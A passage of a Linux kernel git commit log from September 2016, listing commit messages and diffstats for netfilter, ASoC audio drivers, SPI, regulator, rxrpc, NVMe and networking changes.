net/netfilter/nf_conntrack_h323_main.c | 2 +- net/netfilter/nf_conntrack_helper.c | 2 +- net/netfilter/nfnetlink_cthelper.c | 2 +- net/netfilter/nfnetlink_log.c | 8 ++++++-- net/netfilter/nfnetlink_queue.c | 2 +- net/netfilter/xt_helper.c | 2 +- 14 files changed, 19 insertions(+), 19 deletions(-) commit 2c1e2703ff812ccaa42a4bc8a25803955e342b85 Author: Aaron Conole Date: Wed Sep 21 11:35:03 2016 -0400 netfilter: call nf_hook_ingress with rcu_read_lock This commit ensures that the rcu read-side lock is held while the ingress hook is called. This ensures that a call to nf_hook_slow (and ultimately nf_ingress) will be read protected. Signed-off-by: Aaron Conole Signed-off-by: Pablo Neira Ayuso net/core/dev.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit fe72926b792e52ab00abfa81a201805bfb2247d6 Author: Florian Westphal Date: Wed Sep 21 11:35:02 2016 -0400 netfilter: call nf_hook_state_init with rcu_read_lock held This makes things simpler because we can store the head of the list in the nf_state structure without worrying about concurrent add/delete of hook elements from the list. A future commit will make use of this to implement a simpler linked-list. Signed-off-by: Florian Westphal Signed-off-by: Aaron Conole Signed-off-by: Pablo Neira Ayuso include/linux/netfilter.h | 8 +++++++- include/linux/netfilter_ingress.h | 1 + 2 files changed, 8 insertions(+), 1 deletion(-) commit c5136b15ea364124299c8a9ba96b300e96061e3a Author: Florian Westphal Date: Wed Sep 21 11:35:01 2016 -0400 netfilter: bridge: add and use br_nf_hook_thresh This replaces the last uses of NF_HOOK_THRESH(). Followup patch will remove it and rename nf_hook_thresh. The reason is that inet (non-bridge) netfilter no longer invokes the hooks from hooks, so we do no longer need the thresh value to skip hooks with a lower priority. The bridge netfilter however may need to do this. br_nf_hook_thresh is a wrapper that is supposed to do this, i.e. only call hooks with a priority that exceeds NF_BR_PRI_BRNF. It's used only in the recursion cases of br_netfilter. It invokes nf_hook_slow while holding an rcu read-side critical section to make a future cleanup simpler. Signed-off-by: Florian Westphal Signed-off-by: Aaron Conole Signed-off-by: Pablo Neira Ayuso include/net/netfilter/br_netfilter.h | 6 ++++ net/bridge/br_netfilter_hooks.c | 60 ++++++++++++++++++++++++++++++------ net/bridge/br_netfilter_ipv6.c | 12 +++----- 3 files changed, 62 insertions(+), 16 deletions(-) commit 50f4c7b73f831a53fa9ddeb9bdf4cfb5b23d3aa7 Author: Gao Feng Date: Wed Sep 7 10:40:24 2016 +0800 netfilter: xt_TCPMSS: Refactor the codes to decrease one condition check and more readable The origin codes perform two condition checks with dst_mtu(skb_dst(skb)) and in_mtu. And the last statement is "min(dst_mtu(skb_dst(skb)), in_mtu) - minlen". It may let reader think about how about the result. Would it be negative. Now assign the result of min(dst_mtu(skb_dst(skb)), in_mtu) to a new variable, then only perform one condition check, and it is more readable. Signed-off-by: Gao Feng Signed-off-by: Pablo Neira Ayuso net/netfilter/xt_TCPMSS.c | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) commit 65f7422288cd19c4a9202c4ac7a9cca673b9b2ea Author: Wei Yongjun Date: Sat Sep 24 11:48:13 2016 +0000 x86/platform/mellanox: Fix return value check in mlxplat_init() In case of error, the function platform_device_register_simple() returns ERR_PTR() and never returns NULL. The NULL test in the return value check must therefor be replaced with IS_ERR(). Signed-off-by: Wei Yongjun Acked-by: Vadim Pasternak Cc: platform-driver-x86@vger.kernel.org Signed-off-by: Thomas Gleixner arch/x86/platform/mellanox/mlx-platform.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit cc20a38612dbc87dc7396affc9758e3bfbe92340 Author: Kamal Dasu Date: Wed Aug 24 18:04:29 2016 -0400 spi: iproc-qspi: Add Broadcom iProc SoCs support This spi driver uses the common spi-bcm-qspi driver and implements iProc SoCs specific interrupt controller. The common driver now calls the SoC handlers when present. Adding support for both muxed l1 and unmuxed interrupt sources. Signed-off-by: Kamal Dasu Signed-off-by: Yendapally Reddy Dhananjaya Reddy Signed-off-by: Mark Brown drivers/spi/Makefile | 2 +- drivers/spi/spi-bcm-qspi.c | 97 ++++++++++++++++++++++++- drivers/spi/spi-bcm-qspi.h | 34 ++++++++- drivers/spi/spi-iproc-qspi.c | 163 +++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 291 insertions(+), 5 deletions(-) commit 2d995e5dc283adbfbf9c1eb81bf35ca7af2d22a6 Author: John Keeping Date: Wed Aug 24 22:06:36 2016 +0100 ASoC: Intel: boards: Add bdw-rt5677 machine driver This is used by the Chromebook Pixel 2015. Signed-off-by: Ben Zhang Signed-off-by: Dylan Reid [john@metanate.com: - forward-port driver from Chromium OS 3.14 tree to master - remove wake on voice function that isn't supported by upstream rt5677 driver - remote owner assignment in platform_driver (Evan McClain) - convert to devm_snd_soc_register_card (Evan McClain) - add a full copyright header based on module license and Chromium OS Git history ] Signed-off-by: John Keeping Tested-by: Genki Marshall Tested-by: Tom Rini Signed-off-by: Mark Brown sound/soc/intel/Kconfig | 11 ++ sound/soc/intel/boards/Makefile | 2 + sound/soc/intel/boards/bdw-rt5677.c | 347 ++++++++++++++++++++++++++++++++++++ sound/soc/intel/common/sst-acpi.c | 1 + 4 files changed, 361 insertions(+) commit 89128534f925711eea1653c264683b7d14a46530 Author: John Keeping Date: Wed Aug 24 22:06:35 2016 +0100 ASoC: rt5677: Add ACPI support The Chromebook Pixel 2015 uses this codec with the ACPI ID RT5677CE, but does not use the standard DT property names so add a new function to parse the codec properties from these ACPI properties. Also, the GPIOs are only available by index, so we need to register a mapping to allow machine drivers to access the GPIOs by name. Signed-off-by: John Keeping Tested-by: Tom Rini Signed-off-by: Mark Brown sound/soc/codecs/rt5677.c | 53 ++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 52 insertions(+), 1 deletion(-) commit dc995069c675af71a2ecf2ade0995df084da3e2e Author: Colin Ian King Date: Fri Sep 9 10:09:29 2016 +0100 ASoC: Intel: remove status, it is shadowing status of a higher scope The second declaration of status is shadowing the status of a higher scope. This uninitialized status results in garbage being returned by the !x86_match_cpu(cpu_ids) || !iosf_mbi_available() return exit path. Fix this by removing the extraneous second declaration of status. Signed-off-by: Colin Ian King Signed-off-by: Mark Brown sound/soc/intel/atom/sst/sst_acpi.c | 1 - 1 file changed, 1 deletion(-) commit fe27f4e0545d3fc1b0518fafb4fe0460d757651d Author: Sandeep Tayal Date: Tue Sep 20 19:16:05 2016 +0530 ASoC: hdac_hdmi: use audio component framework to read ELD With codec read sometimes the pin_sense shows invalid monitor present and eld_valid. Currently driver polls for few times to get the valid ELD data. To avoid the latency, Instead of reading ELD from codec, read it directly from the display driver using audio component framework. Removed the direct codec helper functions. Signed-off-by: Sandeep Tayal Signed-off-by: Jeeja KP Signed-off-by: Mark Brown sound/soc/codecs/hdac_hdmi.c | 201 ++++++++++++------------------------------- 1 file changed, 56 insertions(+), 145 deletions(-) commit 2b26dd4c1fc5f83bc088f4a053120ca03817045e Author: Oder Chiou Date: Mon Sep 19 19:26:08 2016 +0800 ASoC: rt5660: add rt5660 codec driver This is the initial codec driver for rt5660 Signed-off-by: Oder Chiou Signed-off-by: Mark Brown Documentation/devicetree/bindings/sound/rt5660.txt | 47 + include/sound/rt5660.h | 31 + sound/soc/codecs/Kconfig | 6 + sound/soc/codecs/Makefile | 2 + sound/soc/codecs/rt5660.c | 1353 ++++++++++++++++++++ sound/soc/codecs/rt5660.h | 847 ++++++++++++ 6 files changed, 2286 insertions(+) commit 604042af7697314fffb16e266fd7d5ad488439cc Author: Heiner Kallweit Date: Sat Sep 17 15:43:31 2016 +0200 spi: fsl-espi: improve return value handling in fsl_espi_probe The return value of fsl_espi_probe (currently struct spi_master *) is just used for checking whether an error occurred. Change the return value type to int and simplify the code. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 24 ++++++++---------------- 1 file changed, 8 insertions(+), 16 deletions(-) commit acf692190f972ee2ed6578f30278f21c244d6148 Author: Heiner Kallweit Date: Sat Sep 17 15:43:00 2016 +0200 spi: fsl-espi: simplify of_fsl_espi_probe Simplify of_fsl_espi_probe. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 21 +++++++-------------- 1 file changed, 7 insertions(+), 14 deletions(-) commit fb8ac912df93ea4edc549992d7c9d173e5413164 Author: Heiner Kallweit Date: Sat Sep 17 15:42:42 2016 +0200 spi: fsl-espi: remove unused variable in fsl_espi_setup Remove an unused variable. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 2 -- 1 file changed, 2 deletions(-) commit 1635c694124fe66933ae3db0d39dacb44c53f4b9 Author: Colin Ian King Date: Fri Sep 16 18:37:31 2016 +0100 ASoC: Intel: atom: add missing \n to end of dev_err/dev_dbg messages Trival fix, some dev_err/deb_dbg messages are missing a \n, so add it. Signed-off-by: Colin Ian King Signed-off-by: Mark Brown sound/soc/intel/atom/sst/sst_acpi.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit 5f6af6a75ef3fed8eb220217ecd7d1c7ef8571d9 Author: Colin Ian King Date: Fri Sep 16 18:30:53 2016 +0100 ASoC: samsung: add missing \n to end of pr_err messages Trival fix, some pr_err messages are missing a \n, so add it. Signed-off-by: Colin Ian King Reviewed-by: Krzysztof Kozlowski Signed-off-by: Mark Brown sound/soc/samsung/ac97.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 478cc9f93c28dccd1db373a4c996fefb5d67b072 Author: Colin Ian King Date: Fri Sep 16 17:52:16 2016 +0100 ASoC: max98926: add missing \n to end of dev_err/dev_dbg messages Trival fix, some dev_err and deb_dbg messages are missing a \n, so add it. Signed-off-by: Colin Ian King Signed-off-by: Mark Brown sound/soc/codecs/max98926.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit ecd286a9d8a75771f73110b990512f10dc342356 Author: Colin Ian King Date: Fri Sep 16 18:51:21 2016 +0100 ASoC: Intel: Skylake: add missing \n to end of dev_* messages Trival fix, some dev_* messages are missing a \n, so add it. Signed-off-by: Colin Ian King Signed-off-by: Mark Brown sound/soc/intel/skylake/bxt-sst.c | 6 +++--- sound/soc/intel/skylake/skl-sst-cldma.c | 4 ++-- sound/soc/intel/skylake/skl-sst-ipc.c | 12 ++++++------ sound/soc/intel/skylake/skl-sst.c | 6 +++--- sound/soc/intel/skylake/skl-topology.c | 18 +++++++++--------- 5 files changed, 23 insertions(+), 23 deletions(-) commit 577766175c40d4f425be47b9e70d80238e53f996 Author: Joonwoo Park Date: Mon Sep 19 14:46:54 2016 -0700 regulator: core: don't return error with inadequate reason drms_uA_update() always returns failure when it cannot find regulator's input voltage. But if hardware supports load configuration with ops->set_load() and the input regulator isn't specified with valid reason such as the input regulator is battery, not finding input voltage is normal so such case should not return with an error. Avoid such inadequate error return by checking input/output voltages only when drms_uA_update() is about to configure load with enum based ops->set_mode(). Cc: Liam Girdwood Cc: Mark Brown Cc: Bjorn Andersson Cc: linux-kernel@vger.kernel.org Signed-off-by: Joonwoo Park Signed-off-by: Mark Brown drivers/regulator/core.c | 36 ++++++++++++++++++------------------ 1 file changed, 18 insertions(+), 18 deletions(-) commit 090d93488135c8422d7711a8cefa4ed1cff7744a Author: Randy Li Date: Tue Sep 20 02:57:50 2016 +0800 ASoC: exynos: organize the asoc audio into a menu It is simple sound card time, we could assign different codec to a interface without making a specific driver for it. The SPDIF and I2S interface for Samsung would be possible used by simple-sound-card, but not sure about the PCM. Those S3C time entries are left alone as I don't think any new board would need them. Signed-off-by: Randy Li Reviewed-by: Krzysztof Kozlowski Signed-off-by: Mark Brown sound/soc/samsung/Kconfig | 57 ++++++++++++++++++++++++----------------------- 1 file changed, 29 insertions(+), 28 deletions(-) commit 5ca7e170e331781fe71acb4919667993bb9fbab6 Author: Charles Keepax Date: Tue Sep 20 13:52:31 2016 +0100 ASoC: wm_adsp: Make DSP preloader a supply widget Currently the DSP loading is split into two widgets, the preloader that is a snd_soc_dapm_dai_link widget which starts a thread to download the firmware, and the DSP itself which is a snd_soc_dapm_out_drv and synchronises the thread back in to the DAPM sequence. This allows the firmware download to be overlapped with the rest of the path bring up. The use of a snd_soc_dapm_dai_link widget requires the preloader to be part of the audio path in DAPM, really a supply widget is a better fit for the preloader. The preloader is something that needs to be done for the DSP to function, not a part of the audio path itself. This change makes the DSP preloader widget a supply widget, which as well as probably being a better fit will also make it much simpler to power up the preloader widget to trigger firmware download to the core independently of the audio path coming up. Signed-off-by: Charles Keepax Signed-off-by: Mark Brown sound/soc/codecs/arizona.h | 16 ++++++++-------- sound/soc/codecs/wm_adsp.h | 5 +++-- 2 files changed, 11 insertions(+), 10 deletions(-) commit 3577357a1680543b8acb98d69d23e87c1175db2b Author: Charles Keepax Date: Tue Sep 20 13:52:30 2016 +0100 ASoC: arizona: Attach SYSCLK to DSP preloaders Currently SYSCLK is attached to every compressed DAI as this follows the pattern of attaching clocks to the chips inputs and outputs, however, it is really the DSP that requires the clock here. As firmware download can be a significant part of the path startup time for these devices occasionally it would be desirable to download the firmware in advance of the path being brought up. To help facilitate this early firmware loading this patch attaches the SYSCLK to the DSP preloader widget. This also saves us adding a new route to SYSCLK every time a new compressed DAI is created. Signed-off-by: Charles Keepax Signed-off-by: Mark Brown sound/soc/codecs/arizona.h | 1 + sound/soc/codecs/cs47l24.c | 2 -- sound/soc/codecs/wm5102.c | 1 - sound/soc/codecs/wm5110.c | 2 -- 4 files changed, 1 insertion(+), 5 deletions(-) commit cef45771c141fdccebe4cb7e0ce79f4687275494 Author: Charles Keepax Date: Tue Sep 20 13:52:33 2016 +0100 ASoC: wm_adsp: Move control cache sync out of preloader As part of the work to download firmware before the audio path is brought up the DSP will be put into a low power state between downloading firmware to the core and starting it running. This will mean that the firmware ALSA controls are not accessible in the hardware during this period of time. To prepare for this change we gate access to the hardware in the ALSA control handlers on the DSP being running rather than simply booted and move the synchronisation of the control caches out of the preloader delayed work and into the main DAPM thread after the DSP will have been brought out of its low power state. Signed-off-by: Charles Keepax Signed-off-by: Mark Brown sound/soc/codecs/wm_adsp.c | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) commit 28823ebad5e73bd717ca820929de2d18415d9822 Author: Charles Keepax Date: Tue Sep 20 13:52:32 2016 +0100 ASoC: wm_adsp: Separate concept of booted and running Currently the wm_adsp driver has a flag that indicates the DSP is "running", this flag is used to gate access to the hardware. However this flag is actually set in the firmware download thread after the firmware has been downloaded, but this is before the core is actually started running, so really it currently indicates that the core has been booted and is perhaps running. This patch clearly separates out the concepts of booted (firmware is downloaded) and running (code is executing on the DSP) within the wm_adsp driver. Signed-off-by: Charles Keepax Signed-off-by: Mark Brown sound/soc/codecs/wm_adsp.c | 36 +++++++++++++++++++++++++----------- sound/soc/codecs/wm_adsp.h | 2 ++ 2 files changed, 27 insertions(+), 11 deletions(-) commit a114580f8f3e5bdefc14d75d6c3ba7032210b980 Author: Nikita Yushchenko Date: Thu Sep 22 13:10:40 2016 +0300 ASoC: tpa6130a2: fix volume setting when no stream is running After moving tpa6130a2 power management to DAPM, if chip can be physically powered off (either reset_gpio is defined, or regulator indeed removes power), then volume change no longer works unless chip is on due to a running stream. Fix that by entering regcache cache_only mode while chip is off. Move regcache calls to tpa6130a2_power() to get them at driver init time as well. Signed-off-by: Nikita Yushchenko Signed-off-by: Mark Brown sound/soc/codecs/tpa6130a2.c | 49 +++++++++++++++++++++++--------------------- 1 file changed, 26 insertions(+), 23 deletions(-) commit 55a92ea9cf6d6cac2f1be1bf53f0a120656b2060 Author: Dharageswari R Date: Thu Sep 22 14:00:39 2016 +0530 ASoC: Intel: Skylake: Add table for module id for quick ref Since modules ids are generated dynamically, we do not know the id associate with modules in another pipelines. This limits our ability to tell DSP about neighbouring modules. So add a table for quick referencing of allocated module ids. Signed-off-by: Dharageswari R Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/skl-sst-dsp.h | 2 ++ sound/soc/intel/skylake/skl-sst-utils.c | 37 +++++++++++++++++++++++++++++++-- 2 files changed, 37 insertions(+), 2 deletions(-) commit 5e8f0ee46de46e709e19675726a46cf5838b9bca Author: Dharageswari R Date: Thu Sep 22 14:00:40 2016 +0530 ASoC: Intel: Skylake: Update to use instance ids generated Post bind parameters of KPB module contains the instance id's of neighbouring modules in the sink path Now that module instance ids are generated dynamically we need to update these parameters as well, so use the table created and update the ids Signed-off-by: Dharageswari R Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/skl-messages.c | 2 ++ sound/soc/intel/skylake/skl-topology.c | 22 ++++++++++++++++++++++ sound/soc/intel/skylake/skl-topology.h | 10 ++++++++++ sound/soc/intel/skylake/skl-tplg-interface.h | 3 ++- 4 files changed, 36 insertions(+), 1 deletion(-) commit ef2a352cfb2a536ae8718065b43702a97f9fba9f Author: Dharageswari R Date: Thu Sep 22 14:00:38 2016 +0530 ASoC: Intel: Skylake: Use private instance id of modules in IPC Use private id's of module instances that are generated during init_module for the IPC messages to DSP. These id's are freed up during delete pipeline. Signed-off-by: Dharageswari R Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/skl-messages.c | 22 ++++++++++++---------- sound/soc/intel/skylake/skl-sst-utils.c | 2 +- sound/soc/intel/skylake/skl-topology.c | 10 +++++++--- 3 files changed, 20 insertions(+), 14 deletions(-) commit 700a9a63f9c1bc13abaa956eacc0bfcaf3a201c2 Author: Dharageswari R Date: Thu Sep 22 14:00:37 2016 +0530 ASoC: Intel: Skylake: Add module instance id generation APIs Driver needs to send unique module instance id to firmware while creating the module and uses this id to communicate with DSP for setting parameters while audio use case is ongoing. But, we have upper bound of instance ID. The current IDs are coming from topology but it doesn't know the upper bound and can't assign unique id's subject to upper bounds as we can create a big graph but not all parts running at same time. This patch adds a 128bit unique id management routines which are built on top of ffz() for faster implementation. Unfortunately ffz() works on 32bits values, so additional code is added on top of ffz() to create a 128bit unique id. Signed-off-by: Dharageswari R Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/skl-sst-dsp.h | 4 ++ sound/soc/intel/skylake/skl-sst-utils.c | 115 ++++++++++++++++++++++++++++++++ sound/soc/intel/skylake/skl-topology.h | 1 + 3 files changed, 120 insertions(+) commit c1d5065a0bd09bac783120b73bfa768ba6a493d9 Author: Danny Milosavljevic Date: Thu Sep 22 09:13:13 2016 +0200 ASoC: sun4i-codec: Add custom regmap configs The A20 has a few extra registers that the A10 doesn't have. Therefore, use different regmaps for A10 as compared to A20. Signed-off-by: Danny Milosavljevic Acked-by: Maxime Ripard Signed-off-by: Mark Brown sound/soc/sunxi/sun4i-codec.c | 38 +++++++++++++++++++++++++++++++++++--- 1 file changed, 35 insertions(+), 3 deletions(-) commit 4f0c4e99312d8887483474d60e47ab4e24713114 Author: Danny Milosavljevic Date: Thu Sep 22 09:13:12 2016 +0200 ASoC: sun4i-codec: Rename some sun7i-only registers Some of the registers defined in the driver are only usable on the A20. Rename these registers. Signed-off-by: Danny Milosavljevic Acked-by: Maxime Ripard Signed-off-by: Mark Brown sound/soc/sunxi/sun4i-codec.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 3a6f9dce6116cc54e31dc10d176ceecb1a7e4e7f Author: Wonjoon Lee Date: Thu Sep 22 21:50:06 2016 +0800 ASoC: rk3399_gru_sound: fix recording pop at first attempt Pop happens when mclk applied but dmic's own boot-time Specify dmic delay times in dt to make sure clocks are ready earlier than dmic working Signed-off-by: Wonjoon Lee Signed-off-by: Xing Zheng Signed-off-by: Mark Brown .../bindings/sound/rockchip,rk3399-gru-sound.txt | 7 +++++++ sound/soc/rockchip/rk3399_gru_sound.c | 14 ++++++++++++++ 2 files changed, 21 insertions(+) commit 8f9165c981fed187bb483de84caf9adf835aefda Author: Jan Remmet Date: Fri Sep 23 10:52:00 2016 +0200 regulator: tps65910: Work around silicon erratum SWCZ010 http://www.ti.com/lit/pdf/SWCZ010: DCDC o/p voltage can go higher than programmed value Impact: VDDI, VDD2, and VIO output programmed voltage level can go higher than expected or crash, when coming out of PFM to PWM mode or using DVFS. Description: When DCDC CLK SYNC bits are 11/01: * VIO 3-MHz oscillator is the source clock of the digital core and input clock of VDD1 and VDD2 * Turn-on of VDD1 and VDD2 HSD PFETis synchronized or at a constant phase shift * Current pulled though VCC1+VCC2 is Iload(VDD1) + Iload(VDD2) * The 3 HSD PFET will be turned-on at the same time, causing the highest possible switching noise on the application. This noise level depends on the layout, the VBAT level, and the load current. The noise level increases with improper layout. When DCDC CLK SYNC bits are 00: * VIO 3-MHz oscillator is the source clock of digital core * VDD1 and VDD2 are running on their own 3-MHz oscillator * Current pulled though VCC1+VCC2 average of Iload(VDD1) + Iload(VDD2) * The switching noise of the 3 SMPS will be randomly spread over time, causing lower overall switching noise. Workaround: Set DCDCCTRL_REG[1:0]= 00. Signed-off-by: Jan Remmet Signed-off-by: Mark Brown Cc: stable@vger.kernel.org drivers/regulator/tps65910-regulator.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 805b21b929e29192fb5de16154f616bfc1116e3e Author: David Howells Date: Sat Sep 24 18:05:26 2016 +0100 rxrpc: Send an ACK after every few DATA packets we receive Send an ACK if we haven't sent one for the last two packets we've received. This keeps the other end apprised of where we've got to - which is important if they're doing slow-start. We do this in recvmsg so that we can dispatch a packet directly without the need to wake up the background thread. This should possibly be made configurable in future. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 3 +++ net/rxrpc/misc.c | 1 + net/rxrpc/output.c | 25 +++++++++++++++++-------- net/rxrpc/recvmsg.c | 13 ++++++++++++- 4 files changed, 33 insertions(+), 9 deletions(-) commit 1a6fe74dfd1bb10afb41cbbbdc14890604be42a6 Author: Andy Lutomirski Date: Fri Sep 16 11:16:10 2016 -0700 nvme: Pass pointers, not dma addresses, to nvme_get/set_features() Any user I can imagine that needs a buffer at all will want to pass a pointer directly. There are no currently callers that use buffers, so this change is painless, and it will make it much easier to start using features that use buffers (e.g. APST). Signed-off-by: Andy Lutomirski Reviewed-by: Christoph Hellwig Acked-by: Jay Freyensee Tested-by: Jay Freyensee Signed-off-by: Jens Axboe drivers/nvme/host/core.c | 14 ++++++-------- drivers/nvme/host/nvme.h | 4 ++-- drivers/nvme/host/scsi.c | 6 +++--- 3 files changed, 11 insertions(+), 13 deletions(-) commit 26501db8dcbc3c63c0d8fb6c5bb098bc7d35d741 Author: Andy Lutomirski Date: Fri Sep 16 11:16:09 2016 -0700 nvme/scsi: Remove power management support As far as I can tell, there is basically nothing correct about this code. It misinterprets npss (off-by-one). It hardcodes a bunch of power states, which is nonsense, because they're all just indices into a table that software needs to parse. It completely ignores the distinction between operational and non-operational states. And, until 4.8, if all of the above magically succeeded, it would dereference a NULL pointer and OOPS. Since this code appears to be useless, just delete it. Signed-off-by: Andy Lutomirski Reviewed-by: Christoph Hellwig Acked-by: Jay Freyensee Tested-by: Jay Freyensee Signed-off-by: Jens Axboe drivers/nvme/host/scsi.c | 74 ++---------------------------------------------- 1 file changed, 3 insertions(+), 71 deletions(-) commit c6a77ff82fb849534748719f37f3f9086d78ed39 Author: Stephen Hemminger Date: Fri Sep 23 17:08:17 2016 -0700 hv_netvsc: fix comments Typo's and spelling errors. Also remove old comment from staging era. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/hyperv_net.h | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit 15a09901dc8f107e7fa8589e92f2e8f5a0e5da6f Merge: faac0ff 2c204c2 Author: David S. Miller Date: Sat Sep 24 08:47:20 2016 -0400 Merge branch 'thunderx-bql' Sunil Goutham says: ==================== BQL support and fix for a regression issue These patches add byte queue limit support and also fixes a regression issue introduced by commit 'net: thunderx: Use netdev's name for naming VF's interrupts' Changes from v1: - As suggested added 'Fixes' tag with commit id of previous commit which cuased issue. - Also fixed the missing netdev_tx_reset_queue() function call in byte queue limits support patch. ==================== Signed-off-by: David S. Miller commit 2c204c2b9fca36aa24f7abe2e8bfd83fe3a8db8d Author: Sunil Goutham Date: Fri Sep 23 14:42:28 2016 +0530 net: thunderx: Support for byte queue limits This patch adds support for byte queue limits Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/nicvf_main.c | 14 ++++++++-- drivers/net/ethernet/cavium/thunder/nicvf_queues.c | 30 ++++++++++++++-------- 2 files changed, 32 insertions(+), 12 deletions(-) commit b4e28c1fc9c7f3b7508b9a27d7c59a0da7b1f824 Author: Sunil Goutham Date: Fri Sep 23 14:42:27 2016 +0530 net: thunderx: Fix issue with IRQ namimg This patch fixes a regression caused by previous commit when irq name exceeds 20 byte array if interface's name size is large. Fixes: e412621394fa ("net: thunderx: Use netdev's name for naming VF's interrupts") Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/nic.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit faac0ff0a544eed6b8c9375c1104d692e4979540 Author: Colin Ian King Date: Fri Sep 23 12:02:45 2016 +0100 mlxsw: spectrum: remove redundant check if err is zero There is an earlier check and return if err is non-zero, so the check to see if it is zero is redundant in every iteration of the loop and hence the check can be removed. Signed-off-by: Colin Ian King Acked-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7f8c2865a94a73308386627cd7556c17f03efb63 Author: Sean Wang Date: Fri Sep 23 14:09:32 2016 +0800 Documentation: devicetree: fix typo in MediaTek ethernet device-tree binding fix typo in Documentation/devicetree/bindings/net/mediatek-net.txt Cc: devicetree@vger.kernel.org Reported-by: Sergei Shtylyov Signed-off-by: Sean Wang Acked-by: Rob Herring Signed-off-by: David S. Miller Documentation/devicetree/bindings/net/mediatek-net.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4ce4862a815e3cee8040c9d91e2148aecbbf056e Author: Sean Wang Date: Fri Sep 23 14:04:09 2016 +0800 Documentation: devicetree: revise ethernet device-tree binding about TRGMII add phy-mode "trgmii" to Documentation/devicetree/bindings/net/ethernet.txt Cc: devicetree@vger.kernel.org Reported-by: Sergei Shtylyov Signed-off-by: Sean Wang Acked-by: Rob Herring Signed-off-by: David S. Miller Documentation/devicetree/bindings/net/ethernet.txt | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 2a9aa41fd2ba84b7be44f12e66da30dceb695824 Merge: 3eb193e c6672e3 Author: David S. Miller Date: Sat Sep 24 08:24:19 2016 -0400 Merge tag 'rxrpc-rewrite-20160923' of git://git.kernel.org/pub/scm/linux/kernel/git/dhowells/linux-fs David Howells says: ==================== rxrpc: Bug fixes and tracepoints Here are a bunch of bug fixes: (1) Need to set the timestamp on a Tx packet before queueing it to avoid trouble with the retransmission function. (2) Don't send an ACK at the end of the service reply transmission; it's the responsibility of the client to send an ACK to close the call. The service can resend the last DATA packet or send a PING ACK. (3) Wake sendmsg() on abnormal call termination. (4) Use ktime_add_ms() not ktime_add_ns() to add millisecond offsets. (5) Use before_eq() & co. to compare serial numbers (which may wrap). (6) Start the resend timer on DATA packet transmission. (7) Don't accidentally cancel a retransmission upon receiving a NACK. (8) Fix the call timer setting function to deal with timeouts that are now or past. (9) Don't use a flag to communicate the presence of the last packet in the Tx buffer from sendmsg to the input routines where ACK and DATA reception is handled. The problem is that there's a window between queueing the last packet for transmission and setting the flag in which ACKs or reply DATA packets can arrive, causing apparent state machine violation issues. Instead use the annotation buffer to mark the last packet and pick up and set the flag in the input routines. (10) Don't call the tx_ack tracepoint and don't allocate a serial number if someone else nicked the ACK we were about to transmit. There are also new tracepoints and one altered tracepoint used to track down the above bugs: (11) Call timer tracepoint. (12) Data Tx tracepoint (and adjustments to ACK tracepoint). (13) Injected Rx packet loss tracepoint. (14) Ack proposal tracepoint. (15) Retransmission selection tracepoint. ==================== Signed-off-by: David S. Miller commit 3eb193e0b2ed447ac1d3dcc597cb9018c9f84611 Merge: 1678c11 0c339bf Author: David S. Miller Date: Sat Sep 24 08:21:49 2016 -0400 Merge branch '10GbE' of git://git.kernel.org/pub/scm/linux/kernel/git/jkirsher/next-queue Jeff Kirsher says: ==================== 10GbE Intel Wired LAN Driver Updates 2016-09-23 This series contains updates to ixgbe and ixgbevf. Emil provides several changes, first simplifies the logic for setting VLAN filtering by checking the VMDQ flag and the old 82598 MAC, instead of having to maintain a list of MAC types. Then made two functions static that are used only within the file, a by-product is sparse is now happy. Added spinlocks to make sure that the MTU configuration is handled properly. Fixed an issue where when SR-IOV is enabled while the ixgbevf driver is loaded would result in all mailbox requests being rejected by ixgbe, so call ixgbe_sriov_reinit() before pci_enable_sriov() to ensure mailbox requests are properly handled. Mark resolves a NULL pointer issue by simply setting the read and write *_ref_mdi pointers for x550em_a devices. Then clearly indicates within ethtool that all MACs support pause frames and made sure that the advertising is set to the requested mode. Fixed an issue where MDIO_PRTAD_NONE was not being used consistently to indicate no PHY address. Alex fixes an issue, where the support for multiple queues when SR-IOV is enabled was added but the support was not reported. With that, fix an issue where the hardware redirection table could support more queues then the PF currently has when SR-IOV is enabled, so use the RSS mask to trim off the bits that are not used. Lastly, instead of limiting the VFs if we do not use 4 queues for RSS in the PF, we can instead just limit the RSS queues used to a power of 2. We can now support use cases where VFs are using more queues than the PF is currently using and can support RSS if so desired. ==================== Signed-off-by: David S. Miller commit 1678c1134fd4aa26ae498a31b1b90c6401da9af8 Merge: 834d964 c2f672f Author: David S. Miller Date: Sat Sep 24 08:18:19 2016 -0400 Merge branch 'master' of git://git.kernel.org/pub/scm/linux/kernel/git/klassert/ipsec-next 